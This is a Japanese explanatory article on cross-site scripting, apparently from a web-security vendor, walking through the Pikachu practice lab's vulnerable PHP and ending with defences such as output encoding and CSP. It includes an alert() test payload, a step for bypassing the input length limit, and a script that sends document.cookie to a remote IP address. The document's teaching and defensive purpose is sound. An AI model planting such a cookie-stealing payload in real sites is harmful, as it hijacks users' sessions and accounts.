クロスサイト スクリプティング (XSS) 攻撃は、悪意のある JavaScript コードを Web サイトに挿入することで、ユーザーのブラウザーをターゲットにします。Web サイトに悪意のある JavaScript コードを追加するために悪用される脆弱性はいくつかあります。XSS 攻撃が成功すると、攻撃者はユーザーのブラウザーと、ハッキングされた Web サイト上のユーザーのセッション情報にアクセスできるようになります。
クロスサイト スクリプティング (XSS) 攻撃は、ユーザーからの入力を適切にサニタイズできない Web アプリケーションの脆弱性を悪用します。これらの脆弱性により、攻撃者は他のユーザーが閲覧する Web ページに悪質な JavaScript コードを挿入できます。挿入されたスクリプトはユーザーのセッションのコンテキストで実行され、攻撃者はセッション トークン、Cookie、個人データなどの機密情報にアクセスできるようになります。これにより、ユーザーのアカウントや個人情報への不正アクセスが発生する可能性があります。
XSS 攻撃にはさまざまな種類があります。
XSS脆弱性は、最も深刻なウェブ脆弱性の1つとして常に評価されており、常にトップ3にランクされています。 OWASP トップ 10上で説明したように、XSS はフロントエンド、具体的にはブラウザ内で発生する脆弱性の一種であるため、影響を受けるターゲットもフロントエンド ユーザーです。XSS 脆弱性の主な原因は、アプリケーションの入力と出力の処理が不十分なことであり、その結果、「特別に細工された」文字がブラウザによって有効なコードとして解釈され、実行され、被害が発生します。
Pikachu ターゲット マシンのクロスサイト スクリプティング モジュールにより、脆弱性の例を示すことができます。
ターゲットマシンの入力ボックスに「kobe」と入力すると、バスケットボール選手のコービー・ブライアントの写真と、「コービーのように、いつまでも若く情熱的でいられますように!」という励ましの言葉が表示されます。
バックエンドの PHP コードを分析すると、コードがモチベーション引用文のメッセージ パラメータに対するユーザーの入力を処理せずに直接返しており、XSS の脆弱性が生じていることがわかります。
if(isset($_GET['送信'])){
if(empty($_GET['メッセージ'])){
$html.="<p class='notice'>「kobe」と入力してみてください -_-</p>";
}else{
if($_GET['メッセージ']=='神戸'){
$html.="<p class='notice'>{$_GET['message']}のように、いつまでも若々しく情熱的でいられますように!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>{$_GET['message']}が誰なのか、私には関係ありません!</p>"; //コードは、モチベーション引用文のメッセージパラメータに対するユーザーの入力を、何も処理せずに直接返します。
}
}
}
入力ボックスにXSSペイロードステートメントを入力します – kobe <script>alert(/Iverson best/)</script>
入力ボックスには入力長の制限があることがわかります。
前述のとおり、XSS はフロントエンド、具体的にはブラウザ内で発生する脆弱性の一種です。したがって、影響を受けるターゲットもフロントエンド ユーザーです。この長さ制限を次のように変更してみましょう:
再度 kobe <script>alert(/Iverson best/)</script>
を入力すると、ポップアップウィンドウが表示されます。
この問題は、バックエンド コードがユーザー入力を処理できず、それをクライアントに返したために発生しました。その結果、入力したポップアップの JavaScript コードも直接返され、ブラウザーがコードを実行してポップアップ ウィンドウを表示することになりました。
攻撃者がウェブサイト上で XSS の脆弱性を発見すると、それを悪用してユーザーの Cookie を盗んだり、フィッシング攻撃を実行したりすることができます。たとえば、入力ボックスに次の攻撃コードを入力することができます:
<script>document.location = 'http://47.96.96.34/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
ブラウザがこの JS コードを実行すると、Cookie が 47.96.96.34 にある攻撃者のリモート サーバーに送信されます。
XSS 攻撃から身を守るには、Web 開発者は適切な入力検証と出力エンコードを確実に行う必要があります。これには、コードとして解釈される可能性のある文字をフィルタリングまたはエスケープして、ユーザー入力をサニタイズすることが含まれます。コンテンツ セキュリティ ポリシー (CSP) ヘッダーを使用すると、Web サイトが信頼できるソースを指定できるようにして、許可されていないソースからのスクリプトの実行をブロックできるため、XSS を防ぐのにも役立ちます。攻撃者が悪用する可能性のある新しい脆弱性から身を守るには、Web アプリケーションを定期的に更新してパッチを適用することが重要です。さらに、不明なリンクをクリックすることの危険性についてユーザーを教育し、ブラウザーを最新の状態にしておくことで、XSS 攻撃の被害に遭うリスクを軽減することもできます。
詳細はこちら CDNetworksのWAF XSS攻撃を防ぐためです。